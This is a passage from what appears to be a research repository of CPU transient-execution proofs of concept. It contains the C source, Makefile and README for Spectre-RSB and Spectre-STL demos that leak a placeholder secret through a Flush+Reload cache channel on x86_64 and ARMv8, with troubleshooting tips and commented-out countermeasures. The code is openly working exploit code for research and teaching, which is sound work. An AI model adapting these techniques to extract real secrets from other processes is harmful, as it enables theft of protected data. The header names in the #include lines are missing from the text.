CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/RSB/sa_oop/main.c ================================================ #include #include #include #include #include #include #include "libcache/cacheutils.h" // inaccessible secret #define SECRET "INACCESSIBLE SECRET" unsigned char data[128]; int idx; // Pop return address from the software stack, causing misspeculation when hitting the return int __attribute__ ((noinline)) call_manipulate_stack() { #if defined(__i386__) || defined(__x86_64__) asm volatile("pop %%rax\n" : : : "rax"); #elif defined(__aarch64__) asm volatile("ldp x29, x30, [sp],#16\n" : : : "x29"); #endif return 0; } int __attribute__ ((noinline)) call_leak() { // Manipulate the stack so that we don't return here, but to call_start call_manipulate_stack(); // architecturally, this is never executed // Encode data in covert channel cache_encode(SECRET[idx]); return 2; } int __attribute__ ((noinline)) call_start() { call_leak(); return 1; } void confuse_compiler() { // this function -- although never called -- is required // otherwise, the compiler replaces the calls with jumps call_start(); call_leak(); call_manipulate_stack(); } int main(int argc, const char **argv) { // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); pagesize = sysconf(_SC_PAGESIZE); char *_mem = malloc(pagesize * (256 + 4)); // page aligned mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); // initialize memory memset(mem, 0, pagesize * 256); // flush our shared memory flush_shared_memory(); // nothing leaked so far char leaked[sizeof(SECRET) + 1]; memset(leaked, ' ', sizeof(leaked)); leaked[sizeof(SECRET)] = 0; idx = 0; while(1) { // for every byte in the string idx = (idx + 1) % sizeof(SECRET); call_start(); // Recover data from covert channel cache_decode_pretty(leaked, idx); if(!strncmp(leaked, SECRET, sizeof(SECRET) - 1)) break; sched_yield(); } printf("\n\x1b[1A[ ]\n\n[\x1b[32m>\x1b[0m] Done\n"); return (0); } ================================================ FILE: pocs/spectre/STL/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -Os -I../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../ clean: rm -f poc_* ================================================ FILE: pocs/spectre/STL/README.md ================================================ # Spectre-STL PoC This folder contains a Spectre-STL proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` [*] Flush+Reload Threshold: 200 INACCESSIBLE SECRET [>] Done ``` ## How it works The array `data` stores some inaccessible data (i.e., a secret). The `access_array` first overwrites the secret in `data` with a dummy value ("######"), and afterwards encodes the value in the cache (cf. Spectre or Meltdown attack). If the store is not (speculatively) executed by the CPU, the previous value (i.e., the actual secret) is read and thus leaked. ## Troubleshooting * The output is garbage (mostly just "AAAAAAAAAA...") + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/spectre/STL/main.c ================================================ #include #include #include #include #include #include #include #include #include #include "libcache/cacheutils.h" // inaccessible (overwritten) secret #define SECRET "INACCESSIBLE SECRET" #define OVERWRITE '#' char* data; char access_array(int x) { // store secret in data strcpy(data, SECRET); // flushing the data which is used in the condition increases // probability of speculation mfence(); char** data_slowptr = &data; char*** data_slowslowptr = &data_slowptr; mfence(); flush(&x); flush(data_slowptr); flush(&data_slowptr); flush(data_slowslowptr); flush(&data_slowslowptr); // ensure data is flushed at this point mfence(); // overwrite data via different pointer // pointer chasing makes this extremely slow (*(*data_slowslowptr))[x] = OVERWRITE; // data[x] should now be "#" // uncomment next line to break attack //mfence(); // Encode stale value in the cache cache_encode(data[x]); } int main(int argc, const char **argv) { data = malloc(128); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); pagesize = sysconf(_SC_PAGESIZE); // countermeasure: // prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_STORE_BYPASS, PR_SPEC_DISABLE, 0, 0); // countermeasure 2: // prctl(PR_SET_NO_NEW_PRIVS, 1); // prctl(PR_SET_DUMPABLE, 0); // scmp_filter_ctx ctx; // ctx = seccomp_init(SCMP_ACT_ALLOW); // seccomp_load(ctx); // char *_mem = malloc(pagesize * (256 + 4)); // page aligned mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2); // initialize memory memset(mem, 0, pagesize * 256); // store secret strcpy(data, SECRET); // Flush our shared memory flush_shared_memory(); // nothing leaked so far char leaked[sizeof(SECRET) + 1]; memset(leaked, ' ', sizeof(leaked)); leaked[sizeof(SECRET)] = 0; int j = 0; while(1) { // for every byte in the string j = (j + 1) % sizeof(SECRET); // overwrite value with X, then access access_array(j); mfence(); // avoid speculation // Recover data from covert channel cache_decode_pretty(leaked, j); if(!strncmp(leaked, SECRET, sizeof(SECRET) - 1)) break; sched_yield(); } printf("\n\n[\x1b[32m>\x1b[0m] Done\n"); return 0; }